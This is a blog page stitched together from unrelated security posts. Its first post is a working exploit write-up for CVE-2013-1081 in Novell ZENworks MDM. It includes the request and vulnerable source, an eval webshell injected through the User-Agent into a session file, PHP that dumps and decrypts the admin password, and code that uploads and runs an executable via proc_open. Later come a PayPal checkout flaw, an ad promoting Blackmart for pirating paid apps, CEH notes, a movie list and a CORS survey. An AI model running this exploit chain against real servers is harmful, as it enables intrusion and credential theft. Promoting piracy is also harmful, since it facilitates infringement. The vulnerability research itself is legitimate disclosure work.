DotNet First Side: Apr 20, 2020

Monday, April 20, 2020

Novell Zenworks MDM: Mobile Device Management For The Masses

I'm pretty sure the reason Novell titled their Mobile Device Management (MDM, yo) under the 'Zenworks' group is because the developers of the product HAD to be in a state of meditation (sleeping) when they were writing the code you will see below.

Time to wake up - https://www.youtube.com/watch?v=vQObWW06VAM

For some reason the other night I ended up on the Vupen website and saw the following advisory on their page:

Novell ZENworks Mobile Management LFI Remote Code Execution (CVE-2013-1081) [BA+Code]

I took a quick look around and didn't see a public exploit anywhere so after discovering that Novell provides 60 day demos of products, I took a shot at figuring out the bug.

The actual CVE details are as follows:

"Directory traversal vulnerability in MDM.php in Novell ZENworks Mobile Management (ZMM) 2.6.1 and 2.7.0 allows remote attackers to include and execute arbitrary local files via the language parameter."

After setting up a VM (Zenworks MDM 2.6.0) and getting the product installed it looked pretty obvious right away ( 1 request?) where the bug may exist:

POST /DUSAP.php HTTP/1.1
Host: 192.168.20.133
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.20.133/index.php
Cookie: PHPSESSID=3v5ldq72nvdhsekb2f7gf31p84
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 74

username=&password=&domain=&language=res%2Flanguages%2FEnglish.php&submit=

Pulling up the source for the "DUSAP.php" script the following code path stuck out pretty bad:

<?php
session_start();

$UserName = $_REQUEST['username'];
$Domain = $_REQUEST['domain'];
$Password = $_REQUEST['password'];
$Language = $_REQUEST['language'];
$DeviceID = '';

if ($Language !== '' && $Language != $_SESSION["language"])
{
//check for validity
if ((substr($Language, 0, 14) == 'res\\languages\\' || substr($Language, 0, 14) == 'res/languages/') && file_exists($Language))
{
$_SESSION["language"] = $Language;
}
}

if (isset($_SESSION["language"]))
{
require_once( $_SESSION["language"]);
} else
{
require_once( 'res\languages\English.php' );
}

$_SESSION['$DeviceSAKey'] = mdm_AuthenticateUser($UserName, $Domain, $Password, $DeviceID);

In English:

Check if the "language" parameter is passed in on the request
If the "Language" variable is not empty and if the "language" session value is different from what has been provided, check its value
The "validation" routine checks that the "Language" variable starts with "res\languages\" or "res/languages/" and then if the file actually exists in the system
If the user has provided a value that meets the above criteria, the session variable "language" is set to the user provided value
If the session variable "language" is set, include it into the page
Authenticate

So it is possible to include any file from the system as long as the provided path starts with "res/languages" and the file exists. To start off it looked like maybe the IIS log files could be a possible candidate to include, but they are not readable by the user everything is executing under…bummer. The next spot I started looking for was if there was any other session data that could be controlled to include PHP. Example session file at this point looks like this:

$error|s:12:"Login Failed";language|s:25:"res/languages/English.php";$DeviceSAKey|i:0;

The "$error" value is server controlled, the "language" has to be a valid file on the system (cant stuff PHP in it), and "$DeviceSAKey" appears to be related to authentication. Next step I started searching through the code for spots where the "$_SESSION" is manipulated hoping to find some session variables that get set outside of logging in. I ran the following to get a better idea of places to start looking:

egrep -R '\$_SESSION\[.*\] =' ./

This pulled up a ton of results, including the following:

/desktop/download.php:$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];

Taking a look at the "download.php" file the following was observed:

<?php
session_start();
if (isset($_SESSION["language"]))
{
require_once( $_SESSION["language"]);
} else
{
require_once( 'res\languages\English.php' );
}
$filedata = $_SESSION['filedata'];
$filename = $_SESSION['filename'];
$usersakey = $_SESSION['UserSAKey'];

$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
$active_user_agent = strtolower($_SESSION['user_agent']);

$ext = substr(strrchr($filename, '.'), 1);

if (isset($_SESSION['$DeviceSAKey']) && $_SESSION['$DeviceSAKey'] > 0)
{

} else
{
$_SESSION['$error'] = LOGIN_FAILED_TEXT;
header('Location: index.php');
}

The first highlighted part sets a new session variable "user_agent" to whatever our browser is sending, good so far.... The next highlighted section checks our session for "DeviceSAKey" which is used to check that the requester is authenticated in the system, in this case we are not so this fails and we are redirected to the login page ("index.php"). Because the server stores our session value before checking authentication (whoops) we can use this to store our payload to be included :)

This will create a session file named "sess_payload" that we can include, the file contains the following:

user_agent|s:34:"<?php echo(eval($_GET['cmd'])); ?>";$error|s:12:"Login Failed";

Now, I'm sure if you are paying attention you'd say "wait, why don't you just use exec/passthru/system", well the application installs and configures IIS to use a "guest" account for executing everything – no execute permissions for system stuff (cmd.exe,etc) :(. It is possible to get around this and gain system execution, but I decided to first see what other options are available. Looking at the database, the administrator credentials are "encrypted", but I kept seeing a function being used in PHP when trying to figure out how they were "encrypted": mdm_DecryptData(). No password or anything is provided when calling the fuction, so it can be assumed it is magic:

return mdm_DecryptData($result[0]['Password']);

Ends up it is magic – so I sent the following PHP to be executed on the server -

$pass=mdm_ExecuteSQLQuery("SELECT Password FROM Administrators where AdministratorSAKey = 1",array(),false,-1,"","","",QUERY_TYPE_SELECT);
echo $pass[0]["UserName"].":".mdm_DecryptData($pass[0]["Password"]);

Now that the password is available, you can log into the admin panel and do wonderful things like deploy policy to mobile devices (CA + proxy settings :)), wipe devices, pull text messages, etc….

This functionality has been wrapped up into a metasploit module that is available on github:

https://github.com/steponequit/CVE-2013-1081/blob/master/novell_mdm_creds.rb

Next up is bypassing the fact we cannot use "exec/system/passthru/etc" to execute system commands. The issue is that all of these commands try and execute whatever is sent via the system "shell", in this case "cmd.exe" which we do not have rights to execute. Lucky for us PHP provides "proc_open", specifically the fact "proc_open" allows us to set the "bypass_shell" option. So knowing this we need to figure out how to get an executable on the server and where we can put it. The where part is easy, the PHP process user has to be able to write to the PHP "temp" directory to write session files, so that is obvious. There are plenty of ways to get a file on the server using PHP, but I chose to use "php://input" with the executable base64'd in the POST body:

$wdir=getcwd()."\..\..\php\\\\temp\\\\";
file_put_contents($wdir."cmd.exe",base64_decode(file_get_contents("php://input")));

This bit of PHP will read the HTTP post's body (php://input) , base64 decode its contents, and write it to a file in a location we have specified. This location is relative to where we are executing so it should work no matter what directory the product is installed to.

After we have uploaded the file we can then carry out another request to execute what has been uploaded:

$wdir=getcwd()."\..\..\php\\\\temp\\\\";
$cmd=$wdir."cmd.exe";
$output=array();
$handle=proc_open($cmd,array(1=>array("pipe","w")),$pipes,null,null,array("bypass_shell"=>true));
if(is_resource($handle))
{
$output=explode("\\n",+stream_get_contents($pipes[1]));
fclose($pipes[1]);
proc_close($handle);
}
foreach($output+as &$temp){echo+$temp."\\r\\n";};

The key here is the "bypass_shell" option that is passed to "proc_open". Since all files that are created by the process user in the PHP "temp" directory are created with "all of the things" permissions, we can point "proc_open" at the file we have uploaded and it will run :)

This process was then rolled up into a metasploit module which is available here:

https://github.com/steponequit/CVE-2013-1081/blob/master/novell_mdm_lfi.rb

Update: Metasploit modules are now available as part of metasploit.

Related word

Hacking PayPal's Express Checkout

Do you know what is happening in the background when you buy something in an online shop using PayPal?

In this post we will tackle the following problems:

How can PayPal's API be tested?
How does PayPal's Express Checkout work? You can find the detailed report here.
How can we debit more money than authorized?

How PayPal's API can be tested?

PayPal's Sandbox API

PayPal offers a feature called PayPal Sandbox Accounts, which mimics the production API. The basic idea is that a normal user/shop can test the API and make transactions without actually transferring money. This is the perfect tool for developers to test their API integration.

Access to all messages

The next question is how to get access to all messages. All browser-related messages can be inspected, intercepted, and modified via BurpSuite. The main problem here is how to get access to the server-to-server exchanged messages: the messages exchanged between PayPal and a shop. In order to solve this problem, we deployed our own shop. For this purpose we used Magento, which already has a PayPal integration.
Once we have our own controlled shop, we can enforce Magento to send all request through a proxy.
In the following picture you can see our setup.

Test suite for analyzing PayPal's API [1]

In order to capture the traffic between our Magento hhop and PayPal we proceeded as follows:

We configured Magento to use a proxy running on localhost:8081.
We connected the proxy port on the virtual machine with our local machine via SSH remote port forwarding by issuing the following command

ssh -N -R 8081: localhost :8081 <IP of Magento shop>

We configured BurpSuite running on our local machine to listen on Port 8081 for incoming requests.

Now, we were able to see the entire traffic.
Please note that we uses our own, custom Magento shop in order to be able to test Paypal's API.

PayPal's Express Checkout

An overview of the checkout procedure is depicted in the following:


PayPal's Express Checkout [2]

Step 1: Magento tells the PayPal API where to redirect the user after authorizing the transaction via the parameter RETURNURL and requests a token for this transaction.
Step 2: The PayPal API provides Magento with the token.
Step 3: Magento redirects the user to PayPal's website. The redirect contains the token from the previous step.
Step 4: The user authorizes the transaction. As a result, he will be redirected back to Magento (RETURNURL) with the token.
Step 5: Magento issues a request to the PayPal API to get the transaction details.

Step 6: Magento signals the PayPal API to execute the transaction.

Step 7: Magento serves the success page.

A more detailed view of the protocol and all parameters is shown on page 16 in the full version. We will concentrate only on step 6 and the parameters relevant for the attack.

The Attack

The goal of the attack is to let a shop (in our case Magento) debit more money than authorized by the PayPal user. The core of the attack is Step 6 -- DoExpressCheckoutPayment. Let's get a deeper look at this message:

Magento can raise the authorized amount and debit more money from the user's account

The shop sends the token, which was issued in the first step of the protocol and identifies uniquely the transaction through all steps.
The PayerID referring to the user that authorized the payment.
The AMT defining the amount, which will be transferred.
The API Credentials authenticating Magento on PayPal.
The Version pointing to the release number of the API.

As one can imagine, the core problem we found was the change of the AMT parameter. This value can be freely chosen by the shop, despite the fact that the user has authorized a different amount.

We tested only the SandBox API, but refused to test the production API in order to avoid problems. We promptly contacted PayPal's security team and described the problem hoping that PayPal can and will test the production API against the attack.

The response of PayPal can be summarized as follows:

We don't get any BugBounty since we only tested the Sanbox API. (Fair enough)
In the Production API PayPal this flexibility is a wanted feature. Thus, PayPal allows a merchant to charge for shipping and/or other expenses different amounts. Any malicious behavior can be detected by PayPal. In case of fraudulent charges the consumer are protected by the Buyer Protection policy.

... but the Sandbox API was nevertheless fixed.

Authors of this Post

Daniel Hirschberger
Vladislav Mladenov
Christian Mainka (@CheariX)

[1] BurpSuite Logo
[2] PayPal Express Checkout

DOWNLOAD BLACKMART ANDROID APP – DOWNLOAD PLAYSTORE PAID APPS FREE

Android made endless possibilities for everyone. It introduced a platform where are millions of apps that a user can download and buy depending on their needs. You're thinking about Google PlayStore, yes I am also talking about Google PlayStore. It's categorized app collection depending on every niche of life. Few of them are free and some of them are paid. Most of the paid apps are only charges small cost in between $2 to $8, but few apps are highly costly that make cost over $50 even, which is not possible for every user to buy and get benefit from it. So, here I am sharing a really useful app, that can make every Google PlayStore app for you to download it for free. You can download any paid app that may even cost about $50. It's totally free. Download blackmart Android app and download google play store paid apps freely.

DOWNLOAD BLACKMART ANDROID APP – DOWNLOAD PLAYSTORE PAID APPS FREE

It's extremely easy to use.
It has a Multilingual option for a global user experience.
The app doesn't ask for any payments.
Capable to download full of downloadable applications.
Super fast in downloading and installation.

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CEH: Fundamentals Of Social Engineering

Social engineering is a nontechnical method of breaking into a system or network. It's the process of deceiving users of a system and convincing them to perform acts useful to the hacker, such as giving out information that can be used to defeat or bypass security mechanisms. Social engineering is important to understand because hackers can use it to attack the human element of a system and circumvent technical security measures. This method can be used to gather information before or during an attack.

A social engineer commonly uses the telephone or Internet to trick people into revealing sensitive information or to get them to do something that is against the security policies of the organization. By this method, social engineers exploit the natural tendency of a person to trust their word, rather than exploiting computer security holes. It's generally agreed that users are the weak link in security; this principle is what makes social engineering possible.

The most dangerous part of social engineering is that companies with authentication processes, firewalls, virtual private networks, and network monitoring software are still wide open to attacks, because social engineering doesn't assault the security measures directly. Instead, a social-engineering attack bypasses the security measures and goes after the human element in an organization.

Types of Social Engineering-Attacks

There are two types of Social Engineering attacks

Human-Based

Human-based social engineering refers to person-to-person interaction to retrieve the desired information. An example is calling the help desk and trying to find out a password.

Computer-Based

Computer-based social engineering refers to having computer software that attempts to retrieve the desired information. An example is sending a user an email and asking them to reenter a password in a web page to confirm it. This social-engineering attack is also known as phishing.

Human-Based Social Engineering

Human-Based further categorized as follow:

Impersonating an Employee or Valid User

In this type of social-engineering attack, the hacker pretends to be an employee or valid user on the system. A hacker can gain physical access by pretending to be a janitor, employee, or contractor. Once inside the facility, the hacker gathers information from trashcans, desktops, or computer systems.

Posing as an Important User

In this type of attack, the hacker pretends to be an important user such as an executive or high-level manager who needs immediate assistance to gain access to a computer system or files. The hacker uses intimidation so that a lower-level employee such as a help desk worker will assist them in gaining access to the system. Most low-level employees won't question someone who appears to be in a position of authority.

Using a Third Person

Using the third-person approach, a hacker pretends to have permission from an authorized source to use a system. This attack is especially effective if the supposed authorized source is on vacation or can't be contacted for verification.

Calling Technical Support

Calling tech support for assistance is a classic social-engineering technique. Help desk and technical support personnel are trained to help users, which makes them good prey for social-engineering attacks.

Shoulder Surfing

Shoulder surfing is a technique of gathering passwords by watching over a person's shoulder while they log in to the system. A hacker can watch a valid user log in and then use that password to gain access to the system.

Dumpster Diving

Dumpster diving involves looking in the trash for information written on pieces of paper or computer printouts. The hacker can often find passwords, filenames, or other pieces of confidential information.

Computer-Based Social Engineering

Computer-based social-engineering attacks can include the following:

Email attachments
Fake websites
Pop-up windows

Insider Attacks

If a hacker can't find any other way to hack an organization, the next best option is to infiltrate the organization by getting hired as an employee or finding a disgruntled employee to assist in the attack. Insider attacks can be powerful because employees have physical access and are able to move freely about the organization. An example might be someone posing as a delivery person by wearing a uniform and gaining access to a delivery room or loading dock. Another possibility is someone posing as a member of the cleaning crew who has access to the inside of the building and is usually able to move about the offices. As a last resort, a hacker might bribe or otherwise coerce an employee to participate in the attack by providing information such as passwords.

Identity Theft

A hacker can pose as an employee or steal the employee's identity to perpetrate an attack. Information gathered in dumpster diving or shoulder surfing in combination with creating fake ID badges can gain the hacker entry into an organization. Creating a persona that can enter the building unchallenged is the goal of identity theft.

Phishing Attacks

Phishing involves sending an email, usually posing as a bank, credit card company, or other financial organization. The email requests that the recipient confirm banking information or reset passwords or PINs. The user clicks the link in the email and is redirected to a fake website. The hacker is then able to capture this information and use it for financial gain or to perpetrate other attacks. Emails that claim the senders have a great amount of money but need your help getting it out of the country are examples of phishing attacks. These attacks prey on the common person and are aimed at getting them to provide bank account access codes or other confidential information to the hacker.

Online Scams

Some websites that make free offers or other special deals can lure a victim to enter a username and password that may be the same as those they use to access their work system.
The hacker can use this valid username and password once the user enters the information in the website form. Mail attachments can be used to send malicious code to a victim's system, which could automatically execute something like a software keylogger to capture passwords. Viruses, Trojans, and worms can be included in cleverly crafted emails to entice a victim to open the attachment. Mail attachments are considered a computer-based social-engineering attack.Continue reading

TOP 10 HACKING MOVIES YOU SHOULD WATCH

Technology and hacking gave a new horizon to the science fiction movies. As hacking is getting common and every online thing is at risk whether it's 10% or 90%, not a system is 100% secure over the internet. Every day new security holes are getting discovered. So, now most of the sci-fi movies have the tech and hack stuff to grow awareness in everybody's mind about the online privacy and risk to their information. Here I am sharing top 10 hacking movies that worth a watch.

TOP 10 HACKING MOVIES

Here I have listed top 10 hacking movies that you should watch.

1. HACKERS (1995)

In Hackers, Angelina Jolie and Jonny Lee Miller portray two youthful and hip hackers. Miller portrays a hacker who got caught as a very young child at an age of 11 years after crashing thousands of computers and has been sentenced to zero computer access until his 18th birthday.

2. LIVE FREE OR DIE HARD (2007)

Live Free or Die Hard (also known as Die Hard 4 and released as Die Hard 4.0 outside North America) is a 2007 American action film, and the fourth in the Die Hard film series depicts a scenario where a hacker played by Timothy Olyphant (of Justified fame) takes down nearly the entire U.S. infrastructure in an attempt to transfer trillions of dollars from the Federal Reserve to his account. This movie gives a complete idea of how actually these blackhat hackers operate.

3. EAGLE EYE (2008)

In this movie, two people get a call from an unknown number by a woman. They get a task on the phone that if they don't follow the phone call they would die. This movie displays supercomputer hack on all networks and military networks. This is just an amazing movie on how artificial intelligence computer hacks our real life for bad motives.

4. ALGORITHM (2014)

The film 'Algorithm' tracks the travails of Will, who is the freelance computer hacker who hacks into a top-secret government contractor agency and downloads all their recently developed programs." You can see the full movie below

5. WARGAMES (1983)

The film features David Lightman (Broderick), a young high school student hacker who accidentally hacks into a military supercomputer and starts the countdown to World War III.

6. THE MATRIX (1999)

This is one of the greatest science fiction movies. In this movie, reality, as perceived by most humans, is actually a simulated reality called "the Matrix", created by machines to subdue the human population, while their bodies' heat and electrical activity are used as an energy source.

A character named "Neo", who is a computer Hacker, learns this truth and is drawn into a rebellion against the machines, which involves other people who have been freed from the "dream world". The Matrix franchise is a trilogy movie series.

7. TAKEDOWN (2000)

This movie is based on famous computer U.S. hacker Kevin David Mitnick. Based upon the book and written by his nemesis, Tsutomu Shimomura, the story tends to glorify Shimomura. Mitnick operated in the 1980s and '90s and eventually went to prison for a couple of years. Now, he is a highly paid IT security consultant, speaker, and writer.

8. BLACKHAT (2015)

Blackhat is newly released movie by Chris Hemsworth. In this movie, hackers hack the Chinese nuclear power plant to start a nuclear reaction. Simultaneously, they also hack the stock exchange and steal millions of dollars from the bank. This movie shows how a black hat hackers threaten governments.

9. THE ITALIAN JOB (2003)

Although the MINI Coopers are really the stars of The Italian Job (a remake of the 1969 film of the same name), Seth Green plays Lyle, a hacker among a group of elite thieves, who is able to manipulate traffic signals, among other devices, that make this grand theft possible.

10. UNTRACEABLE (2008)

This film involves a serial killer who rigs contraptions that kill his victims based on the number of hits received by a website KillWithMe.com that features a live streaming video of the victim. Millions of people log on, hastening the victims' deaths.

There may be more exciting hacking movies but I found these top 10 hacking movies that you should watch for once.

You can also find out the top 5 most dangerous hackers in the real world living.

CEH: Gathering Host And Network Information | Scanning

Scanning

It is important that the information-gathering stage be as complete as possible to identify the best location and targets to scan. After the completion of footprinting and information gathering methodologies, scanning is performed.
During scanning, the hacker has vision to get information about network an hosts which are connected to that network that can help hackers to determine which type of exploit to use in hacking a system precisely. Information such as an IP addresses, operating system, services, and installed applications.

Scanning is the methodology used to detect the system that are alive and respond on the network or not. Ethical hackers use these type of scanning to identify the IP address of target system. Scanning is also used to determine the availability of the system whether it is connected to the network or not.

Types Of Scanning

Network Scanning	Identifies IP addresses on a given network or subnet
Port Scanning	Determines open, close, filtered and unfiltered ports and services
Vulnerability Scanner	Detect the vulnerability on the target system

Port Scanning

Port scanning is the process of identifying open and available TCP/IP ports on a system. Port-scanning tools enable a hacker to learn about the services available on a given system. Each service or application on a machine is associated with a well-known port number. Port Numbers are divided into three ranges:

Well-Known Ports: 0-1023
Registered Ports: 1024-49151
Dynamic Ports: 49152-6553

Network Scanning

Network scanning is performed for the detection of active hosts on a network either you wanna attack them or as a network administrator. Network-scanning tools attempt to identify all the live or responding hosts on the network and their corresponding IP addresses. Hosts are identified by their individual IP addresses.

Vulnerability Scanning

This methodology is used to detect vulnerabilities of computer systems on a network. A vulnerability scanner typically identifies the operating system and version number, including applications that are installed. After that the scanner will try to detect vulnerabilities and weakness in the operating system. During the later attack phase, a hacker can exploit those weaknesses in order to gain access to the system. Moreover, the vulnerability scanner can be detected as well, because the scanner must interact over the network with target machine.

The CEH Scanning Methodology

As a CEH, you should understand the methodology about scanning presented in the figure below. Because this is the actual need of hackers to perform further attacks after the information about network and hosts which are connected to the network. It detects the vulnerabilities in the system bu which hackers can be accessible to that system by exploitation of that vulnerabilities.

Related posts

CORS Misconfigurations On A Large Scale

Inspired by James Kettle's great OWASP AppSec Europe talk on CORS misconfigurations, we decided to fiddle around with CORS security issues a bit. We were curious how many websites out there are actually vulnerable because of dynamically generated or misconfigured CORS headers.

The issue: CORS misconfiguration

Cross-Origin Resource Sharing (CORS) is a technique to punch holes into the Same-Origin Policy (SOP) – on purpose. It enables web servers to explicitly allow cross-site access to a certain resource by returning an Access-Control-Allow-Origin (ACAO) header. Sometimes, the value is even dynamically generated based on user-input such as the Origin header send by the browser. If misconfigured, an unintended website can access the resource. Furthermore, if the Access-Control-Allow-Credentials (ACAC) server header is set, an attacker can potentially leak sensitive information from a logged in user – which is almost as bad as XSS on the actual website. Below is a list of CORS misconfigurations which can potentially be exploited. For more technical details on the issues read the this fine blogpost.

Misconfiguation	Description
Developer backdoor	Insecure developer/debug origins like JSFiddler CodePen are allowed to access the resource
Origin reflection	The origin is simply echoed in ACAO header, any site is allowed to access the resource
Null misconfiguration	Any site is allowed access by forcing the `null` origin via a sandboxed iframe
Pre-domain wildcard	`notdomain.com` is allowed access, which can simply be registered by the attacker
Post-domain wildcard	`domain.com.evil.com` is allowed access, can be simply be set up by the attacker
Subdomains allowed	`sub.domain.com` allowed access, exploitable if the attacker finds XSS in any subdomain
Non-SSL sites allowed	An HTTP origin is allowed access to a HTTPS resource, allows MitM to break encryption
Invalid CORS header	Wrong use of wildcard or multiple origins,not a security problem but should be fixed

The tool: CORStest

Testing for such vulnerabilities can easily be done with curl(1). To support some more options like, for example, parallelization we wrote CORStest, a simple Python based CORS misconfiguration checker. It takes a text file containing a list of domain names or URLs to check for misconfigurations as input and supports some further options:

usage: corstest.py [arguments] infile

positional arguments:
  infile         File with domain or URL list

optional arguments:
  -h, --help     show this help message and exit
  -c name=value  Send cookie with all requests
  -p processes   multiprocessing (default: 32)
  -s             always force ssl/tls requests
  -q             quiet, allow-credentials only
  -v             produce a more verbose output

CORStest can detect potential vulnerabilities by sending various Origin request headers and checking for the Access-Control-Allow-Origin response. An example for those of the Alexa top 750 websites which allow credentials for CORS requests is given below.

Evaluation with Alexa top 1 Million websites

To evaluate – on a larger scale – how many sites actually have wide-open CORS configurations we did run CORStest on the Alexa top 1 million sites:

$ git clone https://github.com/RUB-NDS/CORStest.git && cd cors/
$ wget -q http://s3.amazonaws.com/alexa-static/top-1m.csv.zip
$ unzip top-1m.csv.zip
$ awk -F, '{print $2}' top-1m.csv > alexa.txt
$ ./corstest.py alexa.txt

This test took about 14 hours on a decent connection and revealed the following results:

Only 29,514 websites (about 3%) actually supported CORS on their main page (aka. responded with Access-Control-Allow-Origin). Of course, many sites such as Google do only enable CORS headers for certain resources, not directly on their landing page. We could have crawled all websites (including subdomains) and fed the input to CORStest. However, this would have taken a long time and for statistics, our quick & dirty approach should still be fine. Furthermore it must be noted that the test was only performed with GET requests (without any CORS preflight) to the http:// version of websites (with redirects followed). Note that just because a website, for example, reflects the origin header it is not necessarily vulnerable. The context matters; such a configuration can be totally fine for a public sites or API endpoints intended to be accessible by everyone. It can be disastrous for payment sites or social media platforms. Furthermore, to be actually exploitable the Access-Control-Allow-Credentials: true (ACAC) header must be set. Therefore we repeated the test, this time limited to sites that return this header (see CORStest -q flag):

$ ./corstest.py -q alexa.txt

This revealed even worse results - almost half of the websites supporting ACAO and ACAC headers contained a CORS misconfigurations that could be exploited directly by a web attacker (developer backdoor, origin reflection, null misconfig, pre-/post-domain wildcard):

The Impact: SOP/SSL bypass on payment and taxpayer sites

Note that not all tested websites actually were exploitable. Some contained only public data and some others - such as Bitbucket - had CORS enabled for their main page but not for subpages containing user data. Manually testing the sites, we found to be vulnerable:

A dozen of online banking, bitcoin and other payment sites; one of them allowed us to create a test account so we were able to write proof-of-concept code which could actually have been used to steal money
Hundred of online shops/e-commerce sites and a bunch of hotel/flight booking sites
Various social networks and misc sites which allow users to log in and communicate
One US state's tax filing website (however, this one was exploitable by a MitM only)

We informed all sites we manually tested and found to be vulnerable. A simple exploit code example when logged into a website with CORS origin reflection is given below.

The Reason: Copy & Paste and broken frameworks

We were further interested in reasons for CORS misconfigurations. Particularly we wanted to learn if there is a correlation between applied technology and misconfiguration. Therefore we used WhatWeb to fingerprint the web technologies for all vulnerable sites. CORS is usually enabled either directly in the HTTP server configuration or by the web application/framework. While we could not identify a single major cause for CORS misconfigurations, we found various potential reasons. A majority of dangerous Access-Control-* headers had probably been introduced by developers, others however are based on bugs and bad practices in some products. Insights follow:

Various websites return invalid CORS headers; besides wrong use of wildcards such as *.domain.com, ACAO headers which contain multiple origins can often be found; Other examples of invalid - but quite creative - ACAO values we observed are: self, true, false, undefined, None, 0, (null), domain, origin, SAMEORIGIN
Rack::Cors, the de facto standard library to enable CORS for Ruby on Rails maps origins '' or origins '*' into reflecting arbitrary origins; this is dangerous, because developers would think that '' allows nothing and '*' behaves according to the spec: mostly harmless because it cannot be used to make to make 'credentialed' requests; this config error leads to origin reflection with ACAC headers on about a hundred of the tested and vulnerable websites
A majority of websites which allow a http origin to CORS access a https resource are run on IIS; this seems to be no bug in IIS itself but rather caused by bad advises found on the Internet
nginx is the winner when it comes serving websites with origin reflections; again, this is not an issue of nginx but of dangerous configs copied from "Stackoverflow; same problem for Phusion Passenger
The null ACAO value may be based on programming languages that simply return null if no value is given (we haven't found any specific framework though); another explanation is that 'CORS in Action', a popular book on CORS, contains various examples with code such as var originWhitelist = ['null', ...], which could be misinterpreted by developers as safe
If CORS is enabled in the crVCL PHP Framework, it adds ACAC and ACAO headers for a configured domain. Unfortunatelly, it also introduces a post-domain and pre-subdomain wildcard vulnerability: sub.domain.com.evil.com
All sites that are based on "Solo Build It!" (scam?) respond with: Access-Control-Allow-Origin: http://sbiapps.sitesell.com
Some sites have :// or // as fixed ACAO values. How should browsers deal with this? Inconsistent at least! Firefox, Chrome, Safari and Opera allow arbitrary origins while IE and Edge deny all origins.

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